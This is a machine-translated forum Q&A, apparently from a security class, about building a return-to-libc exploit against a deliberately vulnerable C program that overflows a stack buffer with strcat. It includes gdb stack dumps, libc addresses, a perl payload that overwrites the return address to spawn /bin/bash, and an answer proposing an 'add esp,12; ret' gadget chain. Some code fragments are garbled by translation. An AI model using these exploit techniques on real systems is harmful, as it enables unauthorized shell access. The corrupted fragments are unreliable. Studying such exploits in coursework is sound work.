编写 Return-to-libc 攻击,但无法使其正常工作?

Writing a Return-to-libc attack, but cannot get it to work correctly?

为了安全 class,我需要对 is_virus() 的 libc 攻击执行 return。 objective是溢出traffic[],覆盖is_virus()的return地址,从而return到libc函数system()开一个shell。现在我已经花了几个小时在这上面,但无法让它工作。

#include <stdio.h>
#include <string.h>
#include <stdlib.h> 
#include <unistd.h>
#include <time.h>
#include <ctype.h>

char *signatures[] = {"sys_open_ports", "sys_module", "write_binaries", 
"sys_binaries"};

int is_virus(int argc, char ** argv)
{
    char traffic[44];
    int i, j, k, len;

    traffic[0] = 0;
    for (i = 1; i < argc; ++i)
            strcat(traffic, argv[i]);

    for (j = 0; j < 4; ++j) {
            len = strlen(signatures[j]);
            for (i = 0; i < (int)strlen(traffic); ++i)
                    if (strncmp(signatures[j], traffic+i, len) == 0)
                            return 1;
    }

    return 0;
}

int main(int argc, char ** argv)
{
    if (argc < 2) {
            system("echo 'usage: target3 network_traffic_packets'");
            exit(1);
    }

    if (is_virus(argc, argv))
            printf("Alarm! virus founded\n");
    else
            printf("safe.\n");

    return 0;
 }

现在我开始查找 system()exit() 和字符串 /bin/bash.

的地址

我发现这些是...

系统() = 0x40071584
退出()= 0x400533a4
"/bin/bash" = 0xbffffefb 这是在环境变量里面找到的

现在根据我的理解,is_virus()的return地址需要替换为system()的地址,然后是exit()的地址,然后是地址字符串 /bin/bash。接下来,我通过在gdb中反汇编main找到了is_virus()的return地址。

...
0x804868b <main+43>:    pushl  0xc(%ebp)
0x804868e <main+46>:    pushl  0x8(%ebp)
0x8048691 <main+49>:    call   0x8048570 <is_virus>
0x8048696 <main+54>:    add    [=12=]x10,%esp
0x8048699 <main+57>:    mov    %eax,%eax
...

所以is_virus()应该return到地址0x8048696。我用它来确定我需要多少填充。在堆栈指针后不久查看内存...

Breakpoint 1, is_virus (argc=2, argv=0xbffffb34) at target3.c:15
15              traffic[0] = 0;
(gdb) x/32xw $esp
0xbffffa60:     0xbffffaa0      0x4000d2b6      0x40016b34      0x40021298
0xbffffa70:     0x00000001      0x00000000      0x40021000      0x400212b8
0xbffffa80:     0xbffffac0      0x4000d2b6      0x08049840      0x080482cb
0xbffffa90:     0x4002d164      0x40158154      0x400168e4      0x4013d12e
0xbffffaa0:     0xbffffad8      0x4000d450      0xbffffac8      0x08048696
0xbffffab0:     0x00000002      0xbffffb34      0xbffffad8      0x08048551
0xbffffac0:     0x08049820      0x08049934      0xbffffb08      0x4003e507
0xbffffad0:     0x00000002      0xbffffb34      0xbffffb40      0x080483b2

我们可以看到 return 地址位于 0xbffffab2。现在尝试传递“A”,我发现 60 个字节正好位于该地址之前。

因此,根据所有信息,我构建了输入

./target3 $(perl -e 'print "AAAA"x15, "\x84\x15\x07\x40", "\xa4\x33\x05\x40", "\xfb\xfe\xff\xbf"')

strcpy() 之后查看数据看起来是正确的。

(gdb) x/32xw $esp
0xbffffa20:     0xbffffa60      0x4000d2b6      0x40016b34      0x00000001
0xbffffa30:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffa40:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffa50:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffa60:     0x41414141      0x41414141      0x41414141      0x40071584
0xbffffa70:     0x400533a4      0xbffffefb      0xbffffa00      0x08048551
0xbffffa80:     0x08049820      0x08049934      0xbffffac8      0x4003e507
0xbffffa90:     0x00000002      0xbffffaf4      0xbffffb00      0x080483b2

但问题是 exit() 地址覆盖了 argc 值的存储位置,导致第一个循环执行多次并崩溃。我尝试将此值更改为 0xFFFFFFFF 并忘记干净退出,但是当函数 is_virus() 尝试 return 时,我收到错误

Cannot access memory at address 0xffffffff

如有任何帮助,我们将不胜感激!

正如我在评论中指出的那样,第一个堆栈视图显示 return 地址在 0xbffffaac,而不是 0xbffffab2。但这并不重要,因为您通过实验发现了正确的填充。顺便说一句,如果通过 运行ning ./target3 ABC 和在 is_virus(...) 的第二个 for 设置断点可能会更有助于有意识地瞄准你的攻击,所以你会确切地知道 [= =21=] 进入 traffic 缓冲区。

而且在 libc 中也没有 system() 这样的东西。是int system(const char *cmd); (according to the link), and exit() is void exit(int exit_code);,至少把“...”放在那个括号里,所以读者不必考虑它是否真的是无效参数调用,或者只是缩短形式。

免责声明:此答案中的任何 asm 都是 Intel 语法,因为我懒得理会 AT&T,但由于答案不包含任何严肃的代码,所以应该没什么关系,事情希望像 add esp,12 vs addl ,%esp 这样容易理解。

所以要"return to libc to system(...)"以某种方式效仿:

{
    system("/bin/bash");
    exit(<anything>);
}

你想把你试图放在那里的东西放在堆栈上:

0x40071584  ; system() address to return to
0x400533a4  ; exit() address as new return for system()
0xbffffefb  ; "/bin/bash" string (and "return" for exit())
<anything>  ; exit code for exit()

到目前为止,还不错。

你的问题是,正如你发现的那样,0x400533a4 exit() 地址作为新的 argc 值,破坏了第一个循环的 运行。

那么像这样构建堆栈怎么样:

<magic>
<neg_value> ; any negative value to be used as new argc
0x40071584  ; system() address to return to
0x400533a4  ; exit() address as new return for system()
0xbffffefb  ; "/bin/bash" string (and "return" for exit())
<anything>  ; exit code for exit()

<magic> 是 libc 代码的地址,这将有效地做:

add esp,4   ; or "pop anything"
ret

在我的机器上,静态链接 libc 到您的示例 C 文件中,我可以在 system() 入口点附近看到此机器代码(没有费心搜索完全匹配):

<system()+0x27>:
    add esp,12
    movzx eax,al
    ret

在我看来 "good-enough" 被虐待了。通过放置更多填充物并从我的新 return 地址开始,例如:

<system+0x27>  ; add esp,12 + ret
<neg_value> ; any negative value to be used as new argc
<junk1>     ; to make 12 bytes junk in stack
<junk2>     ; to make 12 bytes junk in stack
0x40071584  ; system() address to return to
0x400533a4  ; exit() address as new return for system()
0xbffffefb  ; "/bin/bash" string (and "return" for exit())
<anything>  ; exit code for exit()

我想我会实现你想要的调用顺序(或者说 "ret sequence" :))。

没有验证,因为我无法以这种简单的方式编译原始 C 来使堆栈溢出工作 + 具有静态 libc 地址,在我的主系统上它增加了很多麻烦 + 堆栈检查(我设法关闭了它,但我仍然有完全不同的 libc 函数和堆栈地址,与您的值不相似)。

但我认为这种方法符合 "return to" 类型的攻击负载构建的本质,因此它应该让您了解如何进一步进行。 GL,高频。 :)